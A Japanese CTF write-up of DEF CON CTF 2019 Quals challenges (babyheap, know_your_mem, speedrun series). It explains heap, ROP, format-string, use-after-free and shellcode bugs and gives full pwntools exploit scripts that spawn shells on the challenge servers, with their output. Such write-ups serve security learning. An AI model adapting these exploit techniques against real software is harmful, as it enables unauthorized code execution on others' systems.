DEF CON CTF 2019 Quals Writeup
Harekazeとして参加してbabyheapとknow_your_mem、speedrunを10問解きました。チームでは590点獲得し70位でした。
- [Pwn 112 pts] babyheap
- [INTRO 108 pts] know_your_mem
- [Pwn 5 pts] speedrun-001
- [Pwn 5 pts] speedrun-002
- [Shellcode 5 pts] speedrun-003
- [Pwn 5 pts] speedrun-004
- [Pwn 5 pts] speedrun-005
- [Shellcoding 5 pts] speedrun-006
- [Pwn 5 pts] speedrun-008
- [Pwn 5 pts] speedrun-009
- [Pwn 5 pts] speedrun-010
- [Shellcoding 5 pts] speedrun-011
- 解きたかった問題
[Pwn 112 pts] babyheap
$ ./babyheap -----Yet Another Babyheap!----- [M]alloc [F]ree [S]how [E]xit ------------------------ Command: > M Size: > 3 Content: > 1 -----Yet Another Babyheap!----- [M]alloc [F]ree [S]how [E]xit
- Malloc: サイズを入力すると0xf8か0x178のサイズの領域が確保される。サイズより1byte多く文字列を入力が出来、次のchunkのサイズを書き換えることができる。
- Free: 指定したインデックスの領域を解放する
- Show: 指定したインデックスの内容を表示する
まずlibcのアドレスを得るために同じサイズの領域を8回解放する。tcacheはfastbinsと同じように次のchunkへのポインタしか格納しないのでlibcのアドレスはリークできず、7つあるバッファから追い出してunsorted binsに入れるとbinsへのアドレスが領域に書き込まれるのでlibcのアドレスを得ることができる。
次に"Malloc"にあるoff by one errorを使ってchunkをオーバーラップさせてtcacheのlistの指す先を__malloc_hookに書き換える。後は__malloc_hookをone gadget RCEに書き換えてシェルを起動する。
#!/usr/bin/env python from pwn import * def malloc(size, content='A'): s.sendlineafter('Command:\n', 'M') s.sendlineafter('Size:\n', str(size)) s.sendlineafter('Content:\n', content) def free(index): s.sendlineafter('Command:\n', 'F') s.sendlineafter('Index:\n> ', str(index)) def show(index): s.sendlineafter('Command:\n', 'S') s.sendlineafter('Index:\n> ', str(index)) return s.recvline(False) if len(sys.argv) == 1: s = process('./babyheap') else: s = remote('babyheap.quals2019.oooverflow.io', 5000) libc = ELF('./libc.so') for i in range(8): malloc(0xf8) for i in range(3, 8): free(i) for i in range(3): free(i) malloc(0xf8) malloc(0xf8, 'A' * 0xf8 + '\x81') free(0) malloc(0x178, 'A' * 0x100) libc_base = u64(show(0)[0x100:].ljust(8, '\0')) - 0x1e4ca0 log.info('libc base: %#x' % libc_base) malloc(0xf8) malloc(0xf8) malloc(0xf8, 'A' * 0xf8 + '\x81') free(3) free(2) malloc(0x178, 'A' * 0x100 + p64(libc_base + libc.symbols['__malloc_hook'])[:6]) malloc(0xf8) one_gadgets = [0xe237f, 0xe2383, 0xe2386, 0x106ef8] malloc(0xf8, p64(libc_base + one_gadgets[1])[:6]) s.sendline('M') s.sendline(str(0xf8)) s.interactive()
% ./exploit.py remote [+] Opening connection to babyheap.quals2019.oooverflow.io on port 5000: Done [*] '/home/vagrant/ctf/defconctf/2019/babyheap/libc.so' Arch: amd64-64-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled [*] libc base: 0x7fd990bcf000 [*] Switching to interactive mode > -----Yet Another Babyheap!----- [M]alloc [F]ree [S]how [E]xit ------------------------ Command: > Size: > $ cat flag OOO{4_b4byh34p_h45_nOOO_n4m3}
[INTRO 108 pts] know_your_mem
mmapで確保された領域のアドレスを当てる問題。
mmapはMAP_FIXEDが指定されていなければ領域がオーバーラップしないようにしてくれる。よってある領域を確保しようとして返ってきたアドレスが指定したものと違う時はすでに確保された領域とオーバーラップが発生していることがわかる。初めは大きな領域から始めて再帰的に二分探索のようにしていくと効率よく見つけられる。mmapした後にmunmapしないとメモリが足りなくてエラーが起きるので注意。
// This is an example of turning simple C into raw shellcode. // make shellcode.bin will compile to assembly // make shellcode.bin.pkt will prepend the length so you can // ./know_your_mem < shellcode.bin.pkt // Note: Right now the 'build' does not support .(ro)data // If you want them you'll have to adjust the Makefile. // They're not really necessary to solve this challenge though. // From https://chromium.googlesource.com/linux-syscall-support/ static int my_errno = 0; #define SYS_ERRNO my_errno #include "linux-syscall-support/linux_syscall_support.h" #define ADDR_MIN 0x0000100000000000UL #define ADDR_MASK 0x00000ffffffff000UL #define PROT_READ 1 #define PROT_WRITE 2 #define MAP_ANONYMOUS 32 #define MAP_PRIVATE 2 #define MAP_FAILED 0xffffffffffffffffUL #define MAX_SIZE 0x4000000 __asm__("jmp _start"); long long search(long long left, long long right) { long long length = right - left; void *p = sys_mmap((void *)left, length, PROT_READ | PROT_WRITE, MAP_ANONYMOUS | MAP_PRIVATE, -1, 0); long long ret = 0; if (p == MAP_FAILED) { return 0; } sys_munmap(p, length); if (p != (void *)left) { if (length == 0x1000) { char *str = left; if (str[0] == 'O' && str[1] == 'O' && str[2] == 'O') { sys_write(1, str, 0x100); ret = left; } else { ret = 0; } } else { ret |= search(left, (left + right) / 2); ret |= search((left + right) / 2, right); } } return ret; } void _start() { long long ret = 0; for (long long addr = ADDR_MIN; addr < 2 * ADDR_MIN; addr += MAX_SIZE) { void *p = sys_mmap(addr, MAX_SIZE, PROT_READ | PROT_WRITE, MAP_ANONYMOUS | MAP_PRIVATE, -1, 0); if (p == MAP_FAILED) { continue; } sys_munmap(p, MAX_SIZE); if (p != addr) { ret |= search(addr, (2 * addr + MAX_SIZE) / 2); ret |= search((2 * addr + MAX_SIZE) / 2, addr + MAX_SIZE); } } // sys_write(1, __builtin_frame_address(0), 5); // Prints something (note: best avoid literals) // sys_exit_group(2); // Exit }
$ make check ./simplified [ ] This challenge may be slightly easier in Linux 4.17+. Here, we're running on Linux 4.15.0-47-generic (x86_64) Loading your simplified solution from ./simplified_shellcode.so [ ] Putting the flag somewhere in memory... Secret loaded (header + 107 bytes) [H] The flag is at 0x113777b39000 [ ] Putting red herrings in memory... [H] Red herring at 0x1564124e7000 [H] Red herring at 0x15d230630000 ... [H] Red herring at 0x18c74338a000 [*] seccomp filter now active! Hi! Soon I'll be your shellcode! OOO: You found it, congrats! The flag is: OOO{theflagwillbehere} Make sure you print it to stdout, stderr may go to /dev/null in the hosted version. [*] Your shellcode returned 0x113777b39000 [^] Success! Make sure you're also printing the flag, and that it's not taking too long. Next: convert your solution to raw shellcode -- you can start with C code, BTW! shellcode.c shows one way to do it. Good, the simplified version worked! Let's now try raw shellcode... ./know_your_mem < shellcode.bin.pkt | tee | fgrep --text 'OOO{theflagwillbehere}' [ ] Putting the flag somewhere in memory... [ ] Putting red herrings in memory... [*] seccomp filter now active! OOO: You found it, congrats! The flag is: OOO{theflagwillbehere} Make sure you print it to stdout, stderr may go to /dev/null in the hosted version. [*] Your shellcode returned 0x14c80eb3d000 Perfect! Now go get that flag :) $ nc know_your_mem.quals2019.oooverflow.io 4669 < shellcode.bin.pkt [ ] This challenge may be slightly easier in Linux 4.17+. Here, we're running on Linux 4.15.0-1037-aws (x86_64) Send the length (uint16), then the shellcode. [ ] All right, I read 362 bytes. I will call the first byte in a bit. [ ] Putting the flag somewhere in memory... Secret loaded (header + 36 bytes) [ ] Putting red herrings in memory... [*] seccomp filter now active! OOO: You found it, congrats! The flag is: OOO{so many bits, so many syscalls} [*] Your shellcode returned 0x15e774618000
[Pwn 5 pts] speedrun-001
スタックバッファオーバーフロー(stack BOF)がありSSPが無効、PIE無効、statically linkedでgadgetが豊富なのでROPをするだけ。
#!/usr/bin/env python from pwn import * if len(sys.argv) == 1: s = process('./speedrun-001') else: s = remote('speedrun-001.quals2019.oooverflow.io', 31337) elf = ELF('./speedrun-001') pop_rax = 0x415664 pop_rdi = 0x400686 pop_rsi = 0x4101f3 pop_rdx = 0x44be16 syscall = 0x474e65 puts = 0x410390 read = 0x4498a0 payload = '' payload += 'A' * 0x400 payload += 'A' * 8 payload += p64(pop_rdi) + p64(0) payload += p64(pop_rsi) + p64(elf.bss()) payload += p64(pop_rdx) + p64(0x100) payload += p64(read) payload += p64(pop_rax) + p64(0x3b) payload += p64(pop_rdi) + p64(elf.bss()) payload += p64(pop_rsi) + p64(0) payload += p64(pop_rdx) + p64(0) payload += p64(syscall) s.sendafter('words?\n', payload) s.recvline() s.send('/bin/sh\0') s.interactive()
$ ./exploit.py remote [+] Opening connection to speedrun-001.quals2019.oooverflow.io on port 31337: Done [*] '/home/vagrant/ctf/defconctf/2019/speedrun-001/speedrun-001' Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000) [*] Switching to interactive mode $ cat flag OOO{Ask any pwner. Any real pwner. It don't matter if you pwn by an inch or a m1L3. pwning's pwning.}
[Pwn 5 pts] speedrun-002
stack BOF, SSP無効, PIE無効なのでこれもROPするだけ。
#!/usr/bin/env python from pwn import * if len(sys.argv) == 1: s = process('./speedrun-002') else: s = remote('speedrun-002.quals2019.oooverflow.io', 31337) elf = ELF('./speedrun-002') libc = ELF('/lib/x86_64-linux-gnu/libc.so.6') pop_rdi = 0x4008a3 pop_rsi_r15 = 0x4008a1 pop_rdx = 0x4006ec leave = 0x40074a s.sendafter('now?\n', 'Everything intelligent is so boring.') bss_addr = elf.bss(0x500) payload = '' payload += 'A' * 0x400 payload += p64(bss_addr - 8) payload += p64(pop_rdi) + p64(elf.got['puts']) payload += p64(elf.symbols['puts']) payload += p64(pop_rdi) + p64(0) payload += p64(pop_rsi_r15) + p64(bss_addr) + p64(0) payload += p64(pop_rdx) + p64(0x100) payload += p64(elf.symbols['read']) payload += p64(leave) s.sendafter('more.\n', payload) s.recvline() libc_base = u64(s.recvline(False).ljust(8, '\0')) - libc.symbols['puts'] log.info('libc base: %#x' % libc_base) payload = '' payload += p64(pop_rdi) + p64(libc_base + libc.search('/bin/sh').next()) payload += p64(libc_base + libc.symbols['system']) s.send(payload) s.interactive()
$ ./exploit.py remote [+] Opening connection to speedrun-002.quals2019.oooverflow.io on port 31337: Done [*] '/home/vagrant/ctf/defconctf/2019/speedrun-002/speedrun-002' Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000) [*] '/lib/x86_64-linux-gnu/libc.so.6' Arch: amd64-64-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled [*] libc base: 0x7f0b34836000 [*] Switching to interactive mode $ cat flag OOO{I_didn't know p1zzA places__mAde pwners.}
[Shellcode 5 pts] speedrun-003
0x1eバイトでシェルコードを書く問題。前半と後半のxorが一致してなければいけない。0x1dバイトのシェルコードを作って全部をxorしたものを最後に持って来ればいい。
#!/usr/bin/env python from pwn import * if len(sys.argv) == 1: s = process('./speedrun-003') else: s = remote('speedrun-003.quals2019.oooverflow.io', 31337) def xor(a): return chr(reduce(lambda x, y: x ^ y, map(ord, a), 0)) shellcode = asm(''' xor rsi, rsi push rsi mov rax, 0x68732f2f6e69622f push rax mov rdi, rsp xor rax, rax xor rdx, rdx mov al, SYS_execve syscall ''', arch='x86_64').ljust(29, 'A') shellcode += xor(shellcode) s.send(shellcode) s.interactive()
$ ./exploit.py remote [+] Opening connection to speedrun-003.quals2019.oooverflow.io on port 31337: Done [*] Switching to interactive mode Think you can drift? Send me your drift $ cat flag OOO{Fifty percent of something is better than a hundred percent of nothing. (except when it comes to pwning)}
[Pwn 5 pts] speedrun-004
off by one errorがあり、前のスタックフレームのベースポインタを下位1バイトを書き換えられる。その後、leaveを2回するので、小さい値で上書きしておくことで高い確率でrspを入力を行った領域に変えることができる。そしてROPでシェルを起動する。nop sledと同じ要領でretを出来るだけROP chainの前に仕込んでおくことで高い確率で攻撃が成功する。
#!/usr/bin/env python from pwn import * if len(sys.argv) == 1: s = process('./speedrun-004') else: s = remote('speedrun-004.quals2019.oooverflow.io', 31337) elf = ELF('./speedrun-004') pop_rdi = 0x400686 pop_rsi = 0x410a93 pop_rdx = 0x44c6b6 pop_rax = 0x415f04 syscall = 0x474f15 read = 0x44a140 ret = 0x400c45 s.sendline('257') payload = '' payload += p64(pop_rdi) + p64(0) payload += p64(pop_rsi) + p64(elf.bss()) payload += p64(pop_rdx) + p64(0x100) payload += p64(read) payload += p64(pop_rax) + p64(0x3b) payload += p64(pop_rdi) + p64(elf.bss()) payload += p64(pop_rsi) + p64(0) payload += p64(pop_rdx) + p64(0) payload += p64(syscall) payload = p64(ret) * ((0x100 - len(payload)) / 8) + payload + '\x08' s.send(payload) s.send('/bin/sh\0') s.interactive()
$ ./exploit.py remote [+] Opening connection to speedrun-004.quals2019.oooverflow.io on port 31337: Done [*] '/home/vagrant/ctf/defconctf/2019/speedrun-004/speedrun-004' Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000) [*] Switching to interactive mode i think i'm getting better at this coding thing. how much do you have to say? Ok, what do you have to say for yourself? Interesting thought "E\x0c@", I'll take it into consideration. $ cat flag OOO{Maybe ur lying to yourself. Maybe ur NoT the white hat pretending 2 be a black hat. Maybe you're the black hat pretending 2 be the white hat.}
[Pwn 5 pts] speedrun-005
Format String Bug (FSB)がある。
void _main(void) { long lVar1; long in_FS_OFFSET; char buf [1032]; lVar1 = *(long *)(in_FS_OFFSET + 0x28); printf("What do you mean this time? "); read(0,buf,0x400); printf("Interesting "); printf(buf); puts(" food for thought"); if (lVar1 != *(long *)(in_FS_OFFSET + 0x28)) { /* WARNING: Subroutine does not return */ __stack_chk_fail(); } return; }
%pでlibcのアドレスをリークするのと同時にprintfの直後にあるputsを_mainに書き換えて同じ関数をもう一度実行させる。2回目はリークしたlibcのアドレスを使ってprintfをsystemに書き換える。putsは_mainのままなのでもう一度同じ関数が実行され、printf(buf)
でシェルが起動する。なぜか3回目はreadが効かなくなっていたので2回目のreadで/bin/shを書き込んだ。
#!/usr/bin/env python from pwn import * if len(sys.argv) == 1: s = process('./speedrun-005') else: s = remote('speedrun-005.quals2019.oooverflow.io', 31337) elf = ELF('./speedrun-005') libc = ELF('/lib/x86_64-linux-gnu/libc.so.6') main = 0x40069d payload = '' prev = 0 for i, x in enumerate(p64(main)): payload += '%{}x'.format(ord(x) - prev + 0x100) payload += '%{}$hhn'.format(19 + i) prev = ord(x) payload += '%27$s' payload += 'A' * (8 - len(payload) % 8) for i in range(8): payload += p64(elf.got['puts'] + i) payload += p64(elf.got['read']) s.send(payload) s.recvuntil('Interesting ') libc_base = u64(s.recvuntil('A')[-7:-1].ljust(8, '\0')) - libc.symbols['read'] log.info('libc base: %#x' % libc_base) payload = '' payload += '/bin/sh;' prev = 8 for i, x in enumerate(p64(libc_base + libc.symbols['system'])): payload += '%{}x'.format(ord(x) - prev + 0x100) payload += '%{}$hhn'.format(19 + i) prev = ord(x) payload += 'A' * (8 - len(payload) % 8 & 7) for i in range(8): payload += p64(elf.got['printf'] + i) s.send(payload) s.interactive()
ここで問題発生。ローカルでは通るのだが、リモートでは…
$ ./exploit.py remote [+] Opening connection to speedrun-005.quals2019.oooverflow.io on port 31337: Done [*] '/home/vagrant/ctf/defconctf/2019/speedrun-005/speedrun-005' Arch: amd64-64-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: No PIE (0x400000) [*] '/lib/x86_64-linux-gnu/libc.so.6' Arch: amd64-64-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled [*] libc base: 0x7f3dfebaae10 [*] Switching to interactive mode AA\x18\x10` food for thought Safe, yet again. [*] Got EOF while reading in interactive
通らない。そもそもlibcがあっていない。
ここでリモートのlibcが間違っているのではないかと疑って無駄に時間を使ってしまった(実際に間違っているのはバイナリ本体)。FSBで取り出したputsなどのアドレスをlibc-databaseに突っ込んでももちろん見つからない。今度はバイナリを疑ってprintf("%n$s")
を使って調べてみるとgotのアドレスがずれていることがわかる。putsのgotがローカルでは0x601018、リモートでは0x601020など。びっくり。関数のアドレスも違うので同じようにprintf("%n$s")
でバイナリのコードを出力しながら特定していった。完成後が以下のスクリプト。
#!/usr/bin/env python from pwn import * if len(sys.argv) == 1: s = process('./speedrun-005') puts_got = 0x601018 printf_got = 0x601028 main = 0x40069d else: s = remote('speedrun-005.quals2019.oooverflow.io', 31337) puts_got = 0x601020 printf_got = 0x601030 main = 0x40072d elf = ELF('./speedrun-005') libc = ELF('/lib/x86_64-linux-gnu/libc.so.6') payload = '' prev = 0 for i, x in enumerate(p64(main)): payload += '%{}x'.format(ord(x) - prev + 0x100) payload += '%{}$hhn'.format(19 + i) prev = ord(x) payload += '%85$p' payload += 'A' * (8 - len(payload) % 8) for i in range(8): payload += p64(puts_got + i) s.send(payload) s.recvuntil('Interesting ') libc_base = int(s.recvuntil('A')[-15:-1], 0x10) - 0x1b3787 log.info('libc base: %#x' % libc_base) payload = '' payload += '/bin/sh;' prev = 8 for i, x in enumerate(p64(libc_base + libc.symbols['system'])): payload += '%{}x'.format(ord(x) - prev + 0x100) payload += '%{}$hhn'.format(19 + i) prev = ord(x) payload += 'A' * (8 - len(payload) % 8 & 7) for i in range(8): payload += p64(printf_got + i) s.send(payload) s.interactive()
$ ./exploit.py remote [+] Opening connection to speedrun-005.quals2019.oooverflow.io on port 31337: Done [*] '/home/vagrant/ctf/defconctf/2019/speedrun-005/speedrun-005' Arch: amd64-64-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: No PIE (0x400000) [*] '/lib/x86_64-linux-gnu/libc.so.6' Arch: amd64-64-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled [*] libc base: 0x7efcd1520000 [*] Switching to interactive mode AA \x10`What do you mean this time? Interesting /bin/sh; ... 24A0\x10`$ cat flag OOO{$ will come and go. W3 all know that. The most important thing in LYfe will always be the people in this competition. Right here, right now..._pwning_}
TLが面白かった。
Speedrun-005,バイナリ違くて本気でキレてる
— しふくろ@有坂真白FC (@shift_crops) 2019年5月11日
時間を滅茶苦茶無駄にしてて最悪
f*ck speedrun-005
— しゃろ (@Charo_IT) 2019年5月11日
昨日解けなかったspeedrun-005、クソ問だと仮定して取り組んでみたら解けました
— ゼオスTT (@zeosutt) 2019年5月12日
speedrun-005、クソ問だと仮定したら確かに解けました。ある意味面白かった
— h_noson (@h_noson) 2019年5月12日
[Shellcoding 5 pts] speedrun-006
長さ0x1aのバイト列を入力すると変換を行ってからシェルコードとして実行する。
変換とは
- レジスタを全部クリアする
int3
をシェルコードの中にいくつか挿入する
具体的には
xor rbp, rbp xor rsp, rsp xor rax, rax ... xor r15, r15 [入力した5バイト] int3 [入力した4バイト] int3 [入力した9バイト] int3 [入力した8バイト] int3
となっている。
シェルを起動するには足りないのでreadしてもう一度書き込むことを考える。レジスタがクリアされているのでアドレスを得るためにlea rsi, [rip + n]
を使った。int3
を避けてjmp
しながらもう一度シェルコードを読み込むようにすると以下のようになった。
label1: mov dl, 0xff nop jmp label2 int3 nop nop nop nop int3 label2: lea rsi, [rel label1] syscall
これで十分な長さのシェルコードを書き込める。
#!/usr/bin/env python from pwn import * if len(sys.argv) == 1: s = process('./speedrun-006') else: s = remote('speedrun-006.quals2019.oooverflow.io', 31337) context.arch = 'x86_64' shellcode = '\xB2\xFF\x90\xEB\x06\x90\x90\x90\x90\x48\x8D\x35\xF0\xFF\xFF\xFF\x0F\x05' shellcode = shellcode.ljust(0x1a, '\x90') s.send(shellcode) shellcode2 = '\x90' * 0x15 shellcode2 += asm('mov rsp, rsi\n' + shellcraft.sh()) s.send(shellcode2) s.interactive()
$ ./exploit.py remote [+] Opening connection to speedrun-006.quals2019.oooverflow.io on port 31337: Done [*] Switching to interactive mode How good are you around the corners? Send me your ride $ cat flag OOO{Uh, guys I__Think We Need A Change of___plans. They got A pwn!!! I'm sorry. Did somebody say a pwn!?!?!?}
[Pwn 5 pts] speedrun-008
void _main(void) { long in_FS_OFFSET; undefined buf [1032]; long canary; canary = *(long *)(in_FS_OFFSET + 0x28); puts("Yes?"); read(0,buf,0x7df); write(1,"Whatever\n",9); if (canary != *(long *)(in_FS_OFFSET + 0x28)) { /* WARNING: Subroutine does not return */ FUN_0044bf70(); } return; }
stack BOFがあるけどcanaryがあるため簡単にはできない。.init_arrayを見てみるとflagを読み込んでいる関数があり、
void read_flag(void) { long lVar1; uint fd; long lVar2; long in_FS_OFFSET; ulong new_canary; ulong c; ulong *local_20; long len; lVar1 = *(long *)(in_FS_OFFSET + 0x28); fd = open("/flag",0); while( true ) { lVar2 = read((ulong)fd,&c,1,&c); if (lVar2 == 0) break; new_canary = new_canary << 8 ^ (long)(char)((byte)c ^ (byte)(new_canary >> 0x38)); } close((ulong)fd); new_canary = new_canary & 0xffffffffffffff00; c = *(ulong *)(in_FS_OFFSET + 0x28); local_20 = &c; do { local_20 = local_20 + 1; } while (*local_20 != c); *local_20 = new_canary; *(ulong *)(in_FS_OFFSET + 0x28) = new_canary; if (lVar1 != *(long *)(in_FS_OFFSET + 0x28)) { /* WARNING: Subroutine does not return */ FUN_0044bf70(); } return; }
細かいことはよくわからないがflagに依存した値でcanaryを上書きしている。つまり、canaryはプロセスによらず一定。したがって_main()
のオーバーフローで1バイトずつ特定することができる。canaryを特定すれば後はROPをするだけ。
#!/usr/bin/env python from pwn import * if len(sys.argv) == 1: canary = p64(0xc53466e7d5f00) else: canary = p64(0x1e5c4a312050c900) while len(canary) < 8: for i in range(0x100): if len(sys.argv) == 1: s = process('./speedrun-008', stderr=None) else: s = remote('speedrun-008.quals2019.oooverflow.io', 31337) s.send('A' * 0x408 + canary + chr(i)) s.recvuntil('Whatever\n') try: s.recvline() canary += chr(i) break except EOFError: pass finally: s.close() print canary.encode('hex') canary = u64(canary) log.info('canary: %#x' % canary) if len(sys.argv) == 1: s = process('./speedrun-008', stderr=None) else: s = remote('speedrun-008.quals2019.oooverflow.io', 31337) elf = ELF('./speedrun-008') pop_rdi = 0x400686 pop_rsi = 0x410253 pop_rdx = 0x449915 pop_rax = 0x4156c4 syscall = 0x474ec5 read = 0x449900 payload = '' payload += 'A' * 0x408 payload += p64(canary) payload += 'A' * 8 payload += p64(pop_rdi) + p64(0) payload += p64(pop_rsi) + p64(elf.bss()) payload += p64(pop_rdx) + p64(8) payload += p64(read) payload += p64(pop_rdi) + p64(elf.bss()) payload += p64(pop_rsi) + p64(0) payload += p64(pop_rdx) + p64(0) payload += p64(pop_rax) + p64(0x3b) payload += p64(syscall) s.send(payload) s.send('/bin/sh\0') s.interactive()
$ ./exploit.py remote [*] canary: 0x1e5c4a312050c900 [+] Opening connection to speedrun-008.quals2019.oooverflow.io on port 31337: Done [*] '/home/vagrant/ctf/defconctf/2019/speedrun-008/speedrun-008' Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000) [*] Switching to interactive mode More racing? Haven't you had enough? Yes? Whatever $ cat flag OOO{h4krs__All_know: we choose to make our pwn fate.}
[Pwn 5 pts] speedrun-009
選択肢が2つあり、1つ目はstack BOF、2つ目はFSBがある。FSBでlibcなどのアドレスをリークしてROPする。
#!/usr/bin/env python from pwn import * def bof(payload): s.sendafter('3\n', '1') s.send(payload) def fsb(payload): s.sendafter('3\n', '2') s.send(payload + '\0') s.recvuntil('it "') return s.recvuntil('"?')[:-2] def end(): s.sendafter('3\n', '3') if len(sys.argv) == 1: s = process('./speedrun-009') else: s = remote('speedrun-009.quals2019.oooverflow.io', 31337) stack_addr = int(fsb('%p'), 0x10) log.info('stack address: %#x' % stack_addr) libc_base = int(fsb('%2$p'), 0x10) - 0x3ed8c0 log.info('libc base: %#x' % libc_base) canary = int(fsb('%163$p'), 0x10) log.info('canary: %#x' % canary) one_gadgets = [0x4f2c5, 0x4f322, 0x10a38c] payload = '' payload += 'A' * 0x408 payload += p64(canary) payload += 'A' * 8 payload += p64(libc_base + one_gadgets[0]) bof(payload) end() s.interactive()
$ ./exploit.py remote [+] Opening connection to speedrun-009.quals2019.oooverflow.io on port 31337: Done [*] stack address: 0x7ffcc7e31e80 [*] libc base: 0x7f3fb5296000 [*] canary: 0x5d19c8126d728600 [*] Switching to interactive mode $ cat flag OOO{Is it even about the cars anymore? Where does it end???}
[Pwn 5 pts] speedrun-010
nameのリストとmessageのリストがあり、それぞれに対してmallocやfreeが行える。
void FUN_001008bc(void) { long lVar1; ssize_t sVar2; Name *name; Message *message; long in_FS_OFFSET; char choice; int total_messages; int total_names; lVar1 = *(long *)(in_FS_OFFSET + 0x28); total_messages = 0; total_names = 0; while( true ) { menu(); sVar2 = read(0,&choice,1); if (sVar2 != 1) break; if (choice == '1') { if (5 < total_names) break; puts("Need a name"); name = (Name *)malloc(0x30); read(0,name->name,0x17); name->name[0x17] = 0; *(code **)&name->func = puts; names[(long)total_names] = name; total_names = total_names + 1; } else { if (choice == '2') { if (5 < total_messages) break; puts("Need a message"); message = (Message *)malloc(0x30); read(0,message->message,0x18); message->message[0x18] = 0; (*(code *)names[(long)(total_names + -1)]->func)(names[(long)(total_names + -1)]->name); *(code **)&message->func = puts; (*(code *)message->func)(" says "); (*(code *)message->func)(message->message); (*(code *)message->func)(&new_line); message->name = names[(long)(total_names + -1)]; messages[(long)total_messages] = message; total_messages = total_messages + 1; } else { if (choice == '3') { if (total_names == 0) break; free(names[(long)(total_names + -1)]); } else { if ((choice != '4') || (total_messages == 0)) break; free(messages[(long)(total_messages + -1)]); total_messages = total_messages + -1; } } } } if (lVar1 == *(long *)(in_FS_OFFSET + 0x28)) { return; } /* WARNING: Subroutine does not return */ __stack_chk_fail(); }
names
の要素をfreeした時にtotal_names
をデクリメントしてないため、Use after free (UAF)の脆弱性がある。nameとmessageの構造体のサイズが同じなのでnameをfreeした後に新しくmessageを作ることでname->funcの上書きを行える。また、同じ方法でname->funcつまりputsのアドレスをリークできる。後はname->funcをsystem
に書き換えることでsystem("/bin/sh")
を実行する。
#!/usr/bin/env python from pwn import * def add_name(name): s.sendafter('5\n', '1') s.sendafter('name', name) def add_message(message): s.sendafter('5\n', '2') s.sendafter('message', message) s.recvuntil('says \n') return s.recvline(False) def free_name(): s.sendafter('5\n', '3') def free_message(): s.sendafter('5\n', '4') if len(sys.argv) == 1: s = process('./speedrun-010') else: s = remote('speedrun-010.quals2019.oooverflow.io', 31337) libc = ELF('/lib/x86_64-linux-gnu/libc.so.6') add_name('A') free_name() libc_base = u64(add_message('A' * 0x10)[0x10:].ljust(8, '\0')) - libc.symbols['puts'] log.info('libc base: %#x' % libc_base) add_name('/bin/sh\0') free_name() s.sendafter('5\n', '2') s.sendafter('message', 'A' * 0x10 + p64(libc_base + libc.symbols['system'])) s.interactive()
$ ./exploit.py remote [+] Opening connection to speedrun-010.quals2019.oooverflow.io on port 31337: Done [*] '/lib/x86_64-linux-gnu/libc.so.6' Arch: amd64-64-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled [*] libc base: 0x7f20e3a8a000 [*] Switching to interactive mode $ cat flag OOO{Yeah, he's loony. He just like his toons. Aren't W#_____411???}
[Shellcoding 5 pts] speedrun-011
以下の状況でシェルコードを走らせる。
- seccompによってsystem callは
read
,write
,exit
,rt_sigreturn
のみ許されている - stdout, stdin, stderrはシェルコードが実行される前に閉じられる
- シェルコードの第一引数(rdi)にflagが渡される
flagを一文字ずつ、ある文字と一致するかを比較して、一致した時に無限ループを起こすことでタイミングの差でflagを特定した。
#!/usr/bin/env python from pwn import * import string flag = '' while True: for c in string.ascii_letters + string.digits + string.punctuation: print c if len(sys.argv) == 1: s = process('./speedrun-011') else: s = remote('speedrun-011.quals2019.oooverflow.io', 31337) shellcode = '' if len(flag) > 0: shellcode += '\x48\x83\xC7' + chr(len(flag)) shellcode += '\x80\x3F' + c + '\x74\xFE' s.send(shellcode) s.recvuntil('vehicle\n') try: s.recv(timeout=1) flag += c break except EOFError: pass finally: s.close() print flag if flag.endswith('}'): break
$ ./exploit.py remote ... [+] Opening connection to speedrun-011.quals2019.oooverflow.io on port 31337: Done [*] Closed connection to speedrun-011.quals2019.oooverflow.io port 31337 { [+] Opening connection to speedrun-011.quals2019.oooverflow.io on port 31337: Done [*] Closed connection to speedrun-011.quals2019.oooverflow.io port 31337 | [+] Opening connection to speedrun-011.quals2019.oooverflow.io on port 31337: Done [*] Closed connection to speedrun-011.quals2019.oooverflow.io port 31337 } [+] Opening connection to speedrun-011.quals2019.oooverflow.io on port 31337: Done [*] Closed connection to speedrun-011.quals2019.oooverflow.io port 31337 OOO{Why___does_th0r__need_a_car?}
解きたかった問題
- redacted-puzzle
正八角形の一点を追っていくと35 * 8ビット列が取れたがどう変換してもflagにはならなかった - babytrace
結構解かれていたので悔しい。angrが全くわかっていない。 - speedrun-007
libcなどのアドレスの下位1バイトを書き換えてROPをするのだろうなという気持ちだったけど気合が足りずあまり取り組めなかった